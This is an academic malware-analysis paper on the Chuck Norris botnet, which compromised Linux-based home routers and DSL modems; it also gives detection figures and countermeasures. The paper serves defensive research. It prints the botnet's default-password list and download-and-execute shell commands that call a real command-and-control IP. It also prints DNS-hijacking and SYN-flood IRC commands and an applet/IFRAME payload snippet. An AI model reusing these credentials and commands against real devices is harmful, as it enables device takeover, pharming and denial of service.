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Abstract—This paper describes a new botnet that we have
discovered at the beginning of December 2009. Our NetFlow-
based network monitoring system reported an increasing
amount of Telnet scanning probes. Tracing back to a source
we have identified world wide infected DSL modems and home
routers. Nowadays, various vendors use Linux in this kind
of devices. A further investigation has shown that most of
deployed SoHo (small office/home office) devices use default
passwords or an unpatched vulnerable firmware. Some devices
allow a remote access via Telnet, SSH or a web interface. Linux
malware exploiting weak passwords allows fast propagation
and a virtually unlimited potential for malicious activities. In
comparison to a traditional desktop oriented malware, end
users have almost no chance to discover a bot infection. We
call the botnet after Chuck Norris because an early ver-
sion included the string [R]anger Killato : in nome
di Chuck Norris !
Keywords-botnet; Linux; malware; DSL; PSYB0T; network;
forensics; security; monitoring; NetFlow;
I. INTRODUCTION
Small office/home office devices and consumer electron-
ics have become very prevalent. Various switches, set-top-
boxes, music centers, etc. are sitting in their place, quietly
doing their job and being regarded as a pure hardware. But
it is not uncommon to find full-fledged operating systems
inside them. Linux variants like a BusyBox system [1]
are able to run on really limited hardware while having
capabilities comparable to ordinary computers. This is often
overlooked and SoHo devices are likely to be accompanied
by a “plug-in-and-do-not-care” mentality. Although this is a
tribute to their makers, it is a source of many problems.
The users and even engineers who build SoHo devices
neglect possible security problems caused by using e. g.,
old Linux kernels or not pushing security patches. Despite
this situation, antivirus and antimalware tools do not focus
on SoHo devices, which are a breeding ground for trojans,
botnets and such. Because these devices can act as an
Internet gateways, potential for damage is immense.
In this paper, the Chuck Norris botnet is analyzed. Based
on its inner mechanisms it is shown how easy it is to create a
botnet on embedded hardware and how simple for malware
it is to spread and to gain one device after another. Different
Chuck Norris botnet attacks are analyzed. We introduce a
new botnet threat using infected device as man-in-the-middle
to compromise Secure Sockets Layer (SSL) connections.
The paper is organized as follows: After a short intro-
duction and related work, we describe the botnet discovery.
Then we analyse the botnet internals and how the botnet
behaves. We present our botnet extension to attack HTTPS
connections. Finally, we conclude by summarizing its size
estimation and impacts of the Chuck Norris botnet.
II. RELATED WORK
With new electronic devices like smartphones, game decks
and all other kinds of intelligent home electronic devices,
malware also started to expand to these new platforms.
Today’s PC platform is definitely not the only battlefield
in a war with malware.
Growing smartphone market in early 2000s became in-
teresting for black hats in 2004 when the Cabir [2] worm
appeared, being supposedly the first worm infecting mobile
phones. Actually it was just a quite harmless proof of
concept. In contrast, nowadays there are hundreds of viruses,
adware or spyware intended for smartphones with a serious
severity level. There is no kind of smartphones that can be
absolutely safe including famed iPhone [3].
Besides smartphones, there is another big group of devices
where malware can be found – SoHo devices connected
to the Internet. As people at GNUCITIZEN.org demon-
strated [4], there is some kind of a security flaw in almost
every home electronic device from printers through VoIP
phones to routers and DSL modems. The possibility of
unauthorized use of these devices grows with end user’s poor
knowledge of configuration needs of these devices.
Malware can use compromised devices for different pur-
poses. For example in 2003, the Coldbot worm infected
PCs running Windows operating systems. For connecting
to the IRC C&C server, it utilized a set of about 2,700
compromised routers as proxies. This way the Coldbot was
hiding its presence. Compromised systems could only see
connections going to routers and incoming connections to
IRC server were seen as originating at routers and not at
compromised end user computers.
A similar approach was used also by the PSYB0T [5]
botnet. It was the first botnet, which exploited vulnerabilities
and misconfiguration of SoHo devices, compromised them
and spread itself to other vulnerable devices. It was discov-
ered in January 2009 (version 2.5L) by Australian security
researcher Terry Baume. A newer version 2.9L attracted
major attention after it carried out a DDoS attack against
the DroneBL site [6]. PSYB0T was written to prove the
technology and to demonstrate vulnerabilities of broadband
devices. The botnet has been shut down by its owner. He
claimed more than 80,000 devices had been infected.
PSYB0T is nowadays followed by the Chuck Norris
botnet. The Chuck Norris botnet is quite similar to PSYB0T.
It targets the same devices running Linux with MIPSel CPUs
and it also takes advantage of similar vulnerabilities, mainly
of enabled remote access via Telnet and Web interface for
device configuration.
PSYB0T is supposed to be made by one person. As
far as we know, there are several people working on (or
with) the Chuck Norris botnet and continuously improving
it. So far Chuck Norris botnet uses just a limited subset
of possible vulnerabilities of SoHo devices [7][8]. But this
situation can simply change and become much more serious
in the near future. Mainly because these two botnets show to
their successors how easy it is to gain control over devices
connecting people to the Internet – especially devices with
persistent Internet connection.
Vulnerabilities are endless and there is no possibility of
securing all devices at 100 %. But the state we (together
with ISPs and device vendors) should reach is to have our
home devices (as well as PCs) secured at least against
common/known security issues.
III. BOTNET DISCOVERY
To protect our university network we have developed and
deployed own network monitoring system based on NetFlow
information (see Figure 1). The network-based approach
allows us to see all activities against and from our network.
We use NetFlow [9] as an input for the security analyses and
the anomaly detection systems we work on. Typically we
observe various network scan attempts, password brute force
attacks and exploits coming from outside. Such activities are
often regarded as a normal part of nowadays Internet traffic.
At the beginning of December 2009 our attention was
attracted by an increased amount of Telnet scans (TCP port
23). The use of the Telnet protocol should be discontinued
for security related shortcomings and replaced by Secure
Shell (SSH) protocol. Any Telnet activity, especially on the
public Internet, is suspicious. Figure 2 depicts trends in
Telnet attack activities observed in the university network
from October 2009 to February 2010.
By checking the attack sources we have identified world
wide located subnets of DSL modems and home routers.
Infected devices have blocked remote access to the Telnet
and the web configuration interface. Unfortunately, there
was no infected device in our network to get more detailed
information. At the beginning we expected some new variant
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Figure 1. Flow-based network security monitoring system. Generated
NetFlow data are stored into NetFlow collectors and used for network
forensics by university security team.
of PSYB0T spreading around. Then we gained access to an
IPTV set-top-box and got the first bot sample. The iptables
firewall was not installed in the set-top-box and the bot could
not block remote access.
Further investigation (bot binaries reverse engineering)
revealed IP addresses of C&C centers including botnet
distribution sites. These sites appeared to public as a porn
sites or an Italian magazine site and concealed a hidden
directory with botnet binaries.
To get more information we have prepared a vulnerable
device (MIPS-based wireless router) in our network and
voluntarily joined the botnet. We recorded all incoming and
outgoing connections until the botnet paused activity on
February 23rd, 2010.
IV. BOTNET ANALYSIS
While we were monitoring development of the Chuck
Norris botnet, many changes were made and different fea-
tures were demonstrated – e. g., DDoS attacks or DNS spoof-
ing (pharming) followed by an infection of end users’ PCs
with another malicious software. Developers also improved
(obfuscated) botnet binaries to make further analysis more
difficult – e. g., by encrypting the list of C&C centers or the
list of vulnerable networks.
Following analysis provides a snapshot of our understand-
ing of the latest available Chuck Norris botnet variant. The
Figure 3 shows the botnet overview.
Botnet Propagation: The Chuck Norris botnet propagates
itself in the form of packed binary files and shell scripts.
The list of files available at the botnet distribution site
shows Figure 4. The binary files (linux/mipsel ELF) have
been packed using the UPX packer [10]. In contrast to
PSYB0T 2.9L, there is no obfuscation concerning UPX
decompression.
The botnet propagation process is based on two binaries
(m and m-ran) with different sets of networks to attack.
The first one (m) is focused on network segments belonging
to broadband Internet providers where is a high chance of
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Figure 2. Origin subnet and number of unique attackers scanning IPv4 address space /16 – TCP port 23 between October 2009 and February 2010.
These data represent attacks originating only from /8 prefixes discovered inside an encrypted binary of the Chuck Norris botnet.
finding exploitable DSL modems. Having 1,680 different /16
prefixes, this binary can attack up to 110,097,120 targets.
The second one (m-ran) contains a list of 129 different
/8 prefixes and targets half of the entire IPv4 address
space where the chance of finding exploitable device is
considerably smaller. Example of /16 prefixes encrypted in
m application is shown in Table I.
IP Prefix Owner
217.236.0.0/16 Deutsche Telekom
194.206.0.0/16 France Telecom
213.98.0.0/16 Telefonica de Espana
88.253.0.0/16 TurkTelekom
87.22.0.0/16 Telecom Italia
200.121.0.0/16 Telefonica del Peru
201.1.0.0/16 Telecomunicacoes de Sao Paulo
Table I
EXAMPLE OF IP PREFIXES ENCODED IN m APPLICATION USED TO
PROPAGATE BOTNET.
A target selection works in such fashion that one of built-
in prefixes is randomly chosen (if it is /8 prefix, then next 8
bits are randomly computed and added as well). Then one
of C prefixes (/24) is selected and the scanning starts. Once
the C segment is scanned, each bot scans the following C
segment and so on until the entire /16 segment is scanned.
For scanning a Telnet service the bot uses pnscan (Parallel
Network Scanner) [11]. Simultaneously running pnscans
store particular addresses of potentially vulnerable devices
to a file.
# pnscan -n30 88.102.106.0/24 23
The list of vulnerable devices is used by m and m-ran
applications to perform a Telnet brute force attack. The bot
abuses the default configuration of SoHo devices. It tries
just a few combinations of default login credentials shown
in Table II. In addition to the dictionary attack, the D-Link
configuration reset exploit [12] is executed.
User Password
root admin, Admin, password, root, 1234,private, XA1bac0MX, adsl1234,
%%fuckinside%%, dreambox, blank password
admin admin, password, blank password
1234 1234Admin
Table II
DEFAULT PASSWORDS USED FOR A DICTIONARY ATTACK TO
COMPROMISE A TELNET SERVICE.
Both binaries (m and m-ran) contain a shell command to
download and execute the IRC bot syslgd after a successful
login to a remote host. syslgd is based on the Kaiten bot [13]
source code.
# cd /var;mkdir .scan;cd .scan; \
wget http://87.98.163.86/pwn/syslgd; \
chmod u+x syslgd;./syslgd;rm syslgd; \
killall utelnetd
Figure 3. The Chuck Norris botnet lifecycle: 1. scanning for vulnerable
devices in selected networks, 2. infection of a vulnerable device, 3. bot
initialization, 4. further scanning for vulnerable devices from a newly
infected device and waiting for attack commands.
Bot Execution: When syslgd starts, the device becomes
a slave of the Chuck Norris botnet. It connects to the C&C
center (primary and secondary IP addresses are stored in
bot binary) and joins the ##soldiers## IRC channel. In
comparison to the original Kaiten bot, syslgd implements
response to a channel topic. The string set as the channel
topic is interpreted as an initial command that is performed
by all bots connecting to the channel.
##soldiers## :!* sh \
wget http://87.98.163.86/pwn/scan-rr.sh;\
chmod u+x scan-rr.sh;./scan-rr.sh
The scan-rr.sh script downloads the m application
and pnscan tool and starts them. The bot sets IP table rule,
which will block remote connections to TCP ports 22–80:
# iptables -I INPUT 1 -p tcp --dport 22:80 \
-s ! 127.0.0.1 -j DROP
Then DNS settings are changed. The primary and sec-
ondary DNS servers are set to the OpenDNS resolvers [14]:
# echo -e "nameserver 208.67.222.222\n \
nameserver 208.67.220.220" > \
/etc/resolv.conf
Further bot spreading is controlled via the IRC channel.
The botnet master can execute various commands like
Index of /pwn/
Name Last Modified Size
Parent Directory/  ‐  
at 2009‐Sep‐26 12:40:21 1.3K
ch 2009‐Nov‐06 16:35:09 1.2K
clubfr 2009‐Sep‐27 23:50:12 1.3K
cz 2009‐Nov‐14 01:52:28 1.4K
de 2009‐Nov‐04 18:46:54 1.4K
dotsrc 2009‐Sep‐27 13:05:50 1.3K
fi 2009‐Sep‐29 01:56:28 1.4K
fr 2010‐Jan‐16 16:39:47 1.3K
hu 2009‐Sep‐29 02:03:21 1.3K
il 2009‐Dec‐09 22:39:58 1.3K
it 2009‐Nov‐06 15:41:22 1.3K
jp 2009‐Nov‐05 22:06:30 1.3K
knb‐mips 2009‐Dec‐11 01:21:45 197.8K
libpthread‐0.9.19.so 2009‐May‐19 00:38:14 94.2K
lt 2009‐Sep‐26 12:38:38 1.3K
lv 2010‐Jan‐16 16:56:44 1.3K
m 2009‐Dec‐16 19:57:17 21.8K
m‐ran 2009‐Dec‐16 21:17:32 12.0K
m2 2009‐Dec‐17 22:06:18 21.8K
nerim 2009‐Sep‐29 00:03:29 1.3K
nl 2010‐Jan‐16 17:19:37 1.3K
oidentd 2009‐Jul‐18 00:23:46 7.9K
pl 2009‐Sep‐27 15:13:12 1.3K
pnscan 2009‐May‐19 00:38:14 11.1K
proxy 2010‐Jan‐21 01:21:32 13.4K
proxy‐mips 2009‐Nov‐22 17:34:05 23.9K
scan‐ran.sh 2009‐Nov‐28 02:48:38 0.3K
scan‐rr.sh 2010‐Jan‐29 21:15:09 0.3K
scan‐rr2.sh 2010‐Jan‐21 00:06:24 0.3K
se 2010‐Jan‐16 16:45:39 1.4K
sk 2010‐Jan‐16 17:13:22 1.3K
syslgd 2010‐Feb‐15 20:18:29 16.9K
tw 2009‐Dec‐12 01:09:53 1.3K
uk 2009‐Sep‐27 22:27:26 1.4K
lighttpd/1.4.25
Figure 4. Screenshot of the directory at the C&C server containing botnet
files.
stop/start bot spreading, download new binaries from the
distribution site, etc.
##soldiers## :!* sh echo alt > stop
##soldiers## :!* sh rm stop;./m;./m-ran
Botnet IRC Communication: The botnet is controlled
from two IRC servers where bots connect.
• 87.98.163.86:12000
• 87.98.173.190:12000
Each server has several domain names it serves. The
Chuck Norris IRC server is running UnrealIRCd 3.2.8.1.
Communication between bots and the Chuck Norris IRC
C&C center is not encrypted but connections are secured
through password. Therefore the first syslgd’s IRC message
sent to the server contains a connection password box4642.
Bots are connecting to the server with a randomly gen-
erated nickname in a form IP|[0-9]{8}. The server tries
to resolve a bot’s IP address and if it succeeds the bot’s
nickname is changed to start with a top-level domain name
instead of the IP string. This way connected bots are divided
into groups, which can be controlled separately.
The bot joins ##soldiers## channel with ix IRC
mode set.
JOIN ##soldiers## :none
MODE IP|20026796 ix
The i mode means that the bot is invisible and its name is
not showed in a list of connected clients. The second mode
x is used to mask the bot’s hostname or IP address in a
messages sent to the server.
dhcp13-66.my.domain.tld
skulls-D982F56C.my.domain.tld
Since connected bots use the invisible mode, the list of
connected users provided by the Chuck Norris IRC server
contains only nicknames of connected botnet operators or
observers. During a botnet monitoring we have detected
following nicknames:
AngelOne, drak, drake, dummer, FeNiX,
Torvalds, traco
Monitoring the botnet communication we have recorded
several messages from the botnet operators. Used Italian
language gives a hint about attackers’ nationality.
:ma lo scan?
:lamer ke fai
:ma stanno scannando?
:fai tu a restartare e mettere topic?
:io uso quelli con le lettere A B C ecc
:tranne gli ip
:Sto andando via
Besides the regular Chuck Norris bot syslgd, we have
also noticed a rare usage of Keep Nick Bot [15] (knb) in
a combination with its own ident daemon (RFC 1413). knb
hides its presence on a system by changing the process name
to init. knb identifies itself as
Keep nick bot (Knb) v0.2.2 \
(Hack.It Edition) by Socio (no@o.ne)
We have detected the use of knb twice and on each
occasion it was started with same parameters and only by a
group of bots with cz top-level domain name:
##tmp## :!* sh \
wget http://87.98.163.86/pwn/knb-mips; \
wget http://87.98.163.86/pwn/cz; \
chmod +x knb-mips; \
./knb-mips cz knbs4all1337
Botnet DNS Spoofing and Malware Injection: After the
connection to the C&C server via IRC is established, DNS
settings are changed again. The primary DNS server is
set to the C&C server that responds only to DNS queries
for a specific domain (e. g., Google at the end of 2009 or
Facebook in February 2010). The secondary DNS server is
set to one of the OpenDNS resolvers that is used for all
other queries. This technique is also referred as pharming.
:Torvalds!.@0:0:0:0:0:0:0:1 PRIVMSG
##soldiers## :!it* sh echo "nameserver \
87.98.163.86" > /etc/resolv.conf
##soldiers## :!it* sh echo "nameserver \
208.67.220.220" >> /etc/resolv.conf
OpenDNS.combotnet C&C Center
www.facebook.com www.linux.org
primary
DNS
secondary
DNS
www.linux.org
infected
router
victim
Figure 5. Pharming was used for attacking computers connected via the
infected device (February 2010).
The DNS server at the C&C server returns its IP address.
As a result, the user is forwarded to a fake website (see
Figure 5). It contains the original site that the user wants to
visit but also an exploit or trojan (both loaded in IFRAMEs –
see Figure 6). Earlier versions of the bot used exploits from
MPack [16] (MS06-057, MS06-014, CVE-2007-0015 and
CVE-2006-5198) and tried to install the Small trojan. This
was gradually replaced by a primitive social engineering:
users were invited to try a “new Facebook client” or to
install a new version of the Flash player. Actually they
were offered to download the Kolab worm [17] (an IRC bot
with capability of DoS attacks and stealing of user data),
then another generic backdoor and the Refroso (Mytob)
worm [18] (another IRC bot). Finally, the fake website
contained a Java applet Java.Dldr.Agent.D that tried to install
Refroso again.
Table III shows the total detection rate of VirusTotal [19].
To sum it up, the bot does not employ any 0-day exploits
but available ones able to infect computers connected via
the devices controlled by the botnet.
Detection rate (%)
Malware First appearance Already reported
MPack exploits N/A 41.46
Small trojan N/A 95.23
Kolab worm 75.00 75.60
Win32 generic backdoor 41.46 42.86
Refroso 7.32 66.66
Java.Dldr.Agent.D 12.20 14.29
Table III
TOTAL DETECTION RATE OF MALWARE INJECTED TO A FAKE WEBSITE.
TESTED AFTER THE FIRST APPEARANCE IN THE BOTNET (2ND
COLUMN) AND AFTER THE BINARIES WERE PROVIDED TO THE
ANTIVIRUS COMMUNITY (FEBRUARY 24TH, 2010 – 3RD COLUMN).
1 <applet name="Facebook Inc." code="Inicio.class" archive="facebook.jar" height="10" width="1">
2 <param name="url" value="http://www.facebook.com/javasunlogin.exe">
3 </applet>
4 <iframe width=1700 height=1650 border=0 frameborder=0 src="http://en-gb.facebook.com"></iframe>
Figure 6. IFRAME exploit spreading through DNS spoofed site.
Botnet Features: This section summarizes features that
we have seen while we have been monitoring the botnet
behavior. We believe that bots are already able to perform
more actions but we have not noticed them yet. Considering
possible further development of the botnet we are sure that
bots will provide more new features.
All bots are controlled from the central IRC C&C server.
This center is duplicated. In case of unavailability of the
primary server, the bots are trying to reconnect to the
secondary server. In case of unavailability of both C&C
centers, bots periodically try to connect to both of them.
Therefore the botnet is able to survive even a long term
inaccessibility of the central servers. The IRC server has
the ability to divide connected bots into groups according
to their top-level domain name. The botnet master can send
commands only to the selected group(s).
According to commands from the C&C center, bots
are able to update their parts. They are just instructed to
download an updated file from the specified server and run
it as a new process.
:Torvalds!.@0:0:0:0:0:0:0:1 PRIVMSG
##soldiers## :!ru* sh rm stop;wget \
http://87.98.173.190/pwn/scan-rr2.sh; \
chmod u+x scan-rr2.sh;./scan-rr2.sh
All these operations are performed using a device shell.
Such approach allows almost unlimited possibilities for
further operations.
Concerning botnet’s harmful features, attackers can abuse
an access to a compromised device for a DNS spoofing
attack. As most botnets do, the Chuck Norris botnet is able
to perform distributed DoS attack using several types of
floods. It includes TCP SYN, TCP ACK and UDP flood.
In all cases bots can spoof source IP address according to
command from the C&C center.
:Torvalds!.@0:0:0:0:0:0:0:1 PRIVMSG
##soldiers## :!ip* spoof 89.103
:!ip|0* .msyn 89.103.127.243 4462 300
:!ip|1* .msyn 89.103.127.243 4462 300
:!ip|2* .msyn 89.103.127.243 4462 300
Most of the compromised devices contain powerful ipta-
bles. Bots primarily use it to block a remote configuration
interface (i. e., Telnet and HTTP). iptables can be easily
used as a proxy to hide communication across the network.
Compromised routers had been already used for this purpose
by the Coldbot worm in 2003. We have also found a proxy
HTTP server [20] compiled for the MIPSel platform at the
distribution site. We suppose the proxy server was intended
to create the stepping stones for other attacks.
V. BOTNET SIZE AND EVOLUTION
When determining a size of the botnet, we have to rely
on an estimation based on two sources of information –
network traffic and knowledge of inner mechanisms of the
botnet. Precise numbers are not obtainable because all bots
are logging into the C&C center with the invisibility flag set
and botnet operators were the only ones to be seen.
The university network, on which the traffic was analyzed,
belongs to the address space covered only by one binary –
the one targeting half of the Internet. Taking into account
the way how targets are chosen by bots a probability of
the university network being targeted is at most 1:129. This
has to be weighted when looking at the numbers of unique
attackers as can be seen in Figures 2 and 7.
Number of attackers scanning TCP port 23 was deter-
mined by analyzing five-minute time windows of network
traffic in the NetFlow format. A certain IP address was
considered as an attacker when two conditions were met
in the given time window: i) there were more than 30 failed
attempts to connect to a TCP port 23 and ii) TCP SYN
packet was 60 bytes long (sign of the Linux TCP/IP stack).
This might have discarded slowly scanning bots, but an
observation has shown that most bots scanned the 254 targets
of a C subnet in several minutes.
Figure 2 shows the number of unique attackers over the
course of five months. Only subnets with first byte found
inside the m-ran binary are included. Adding the remaining
addresses provides negligible differences, which backs up
our belief that this entire set of attacks can be attributed to
the Chuck Norris botnet.
Several spikes that can be seen at Figure 2 identify
the most infected networks. whois [21] entries for these
active networks revealed the most infected ISPs. They are
summarized in Table IV.
Rank ISP
1 Telefonica del Peru
2 Global Village Telecom (Brazil)
3 Turk Telecom
4 Pakistan Telecommunication Company
5 China Unicom Hebei Province Network
Table IV
LIST OF THE MOST INFECTED ISPS, SORTED IN DESCENDING ORDER.
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Figure 7. Number of unique attackers and attacks on TCP port 23 in the
university network.
Figure 7 shows the number of attackers and actual attacks
but unlike the Figure 2 all subnets are combined together.
There is a clear correlation between the number of attackers
and attacks. This agrees with the observation that each bot
scans the entire /24 subnet at the time and further upholds
the belief that this traffic is caused by the botnet.
Figure 7 also illustrates how the bots remain active even
after shutdown of the C&C centers. It was during February,
23rd when the C&C centers stopped responding and our
controlled bot lost connection to them, yet it was the
following day the number of attackers peaked.
The maximum number of attackers in a day is little over
two thousands. Coupled with the probability of the university
network being attacked, it can be guessed that the actual
size of the botnet is at least an order of magnitude higher.
This is also backed up by counting the total number of
unique IP addresses identified as attackers between October
and February. There were roughly 33,000 such attackers and
although they cannot be solely attributed to the botnet, most
of them probably belonged to it (as was argued in case of
the Figure 7).
Month Minimum Maximum Average Median
October 0 854 502 621
November 41 628 241 136
December 69 1321 366 325
January 9 1467 312 137
February 180 2004 670 560
Total 0 2004 414 354
Table V
NETFLOW-BASED STATISTICS OF UNIQUE ATTACKERS TARGETING THE
UNIVERSITY NETWORK.
Analyzing botnet data we have created the Chuck Norris
botnet timeline. The pnscan binary contains compile time
“Jul 4 2008”. We believe that an early botnet version already
appeared in 2008. The distribution sites contained files with
upload time starting from May 2009. We have evidence of
C&C sites shutdown before May 2009. Daily botnet updates
were performed until the botnet paused activity on February
23rd, 2010. The C&C sites are up but do not respond to
IRC and HTTP requests at the time of writing this paper.
The bot masters probably still use SSH and FTP to manage
sleeping C&C centers.
VI. FURTHER THREATS – BEYOND CHUCK NORRIS
BOTNET
SoHo devices are points of interest for many attackers.
They connect most of home users to their banks and e-
services allowing payments and money transfers to be made
through the Internet. Some studies reports around 50 % of
wireless routers operate in their default settings [22]. In such
world SoHo devices can be easily abused for man-in-the-
middle attacks.
A real world example of a severe man-in-the-middle
attack is the HTTPS stripping attack [23] that can be effec-
tively accomplished with the Chuck Norris botnet. As shown
on Figure 8, the HTTPS stripping attack does not actually
break the SSL protocol directly. Instead it monitors HTTP
traffic and intercepts any attempt to redirect or connect to
HTTPS site.
Access PointWeb Service
https://mail.google.com
User
86.49.xxx.yyy
GET HTTP mail.google.com
HTTP 301 Moved Permanently
https://mail.google.com
HTTP 301 Moved Permanently
http://mail.google.com
GET HTTP mail.google.comSSL mail.google.com Client hello
SSL Server hello HTTP 200 OK
...
Figure 8. HTTPS stripping attack against Gmail web service.
The attack benefits from the fact that users often access
secure servers by following hypertext links or by being
redirected from unsecured web pages. The attack tool re-
places these links and alter redirection headers to keep
communication with user unencrypted. Infected device then
communicates with the server in a secure way and the
server itself is not able to detect anything wrong. But all
information from the user is compromised due to unsecured
communication with the infected device.
We have successfully demonstrated HTTPS stripping at-
tack on e-government, e-commerce, social networking and
other popular Internet sites. To these days there is no easy
solution to generally prevent this attack on both server
and client side. What is worse, our operational experience
showed that only a small portion of users is able to recognize
unsecured communication with webservers, even though all
prevalent modern browsers are equipped by relevant security
alerts.
VII. CONCLUSION
People got used to secure their personal computers and
laptops. They use anti-virus, anti-malware, anti-spam soft-
ware, firewalls etc., but they would not suspect that any
embedded device can threaten them or others. So these
SoHo devices are not well protected by other tools such as
ordinary computers. They are not regularly updated, even
though the patches are available. These devices are also
continuously connected to the Internet and they are up for
days and months. We believe that the majority of SoHo
devices involved in the Chuck Norris botnet will remain
vulnerable. In the future we expect more and more malware,
which will target ubiquitous networking devices.
In comparison to PC-oriented malware, the Chuck Norris
bot will not persist if the infected device is power cycled.
The firmware is stored in a read-only FLASH memory and
the malicious code resists in RAM. To disinfect the device,
it is sufficient to turn the power off and turn it back on
again. Recommended countermeasures are to disable remote
management from the Internet, change the default access
credentials and update device firmware. Infected devices can
be detected by monitoring outbound traffic to the C&C IRC
servers.
We have shown how a small set of default credentials
can be used to gain access to broadband modems and
routers. The current generation of embedded malware takes
advantage of poorly configured devices that often contain
multiple hidden vulnerabilities. We have also demonstrated
different types of attack mechanisms employed by the Chuck
Norris botnet and investigated the man-in-the-middle attack
that can be a serious threat to SSL security.
In our further work, we will continue with monitoring
malicious traffic originating from SoHo devices. We expect
a new malware that will target SoHo and embedded systems.
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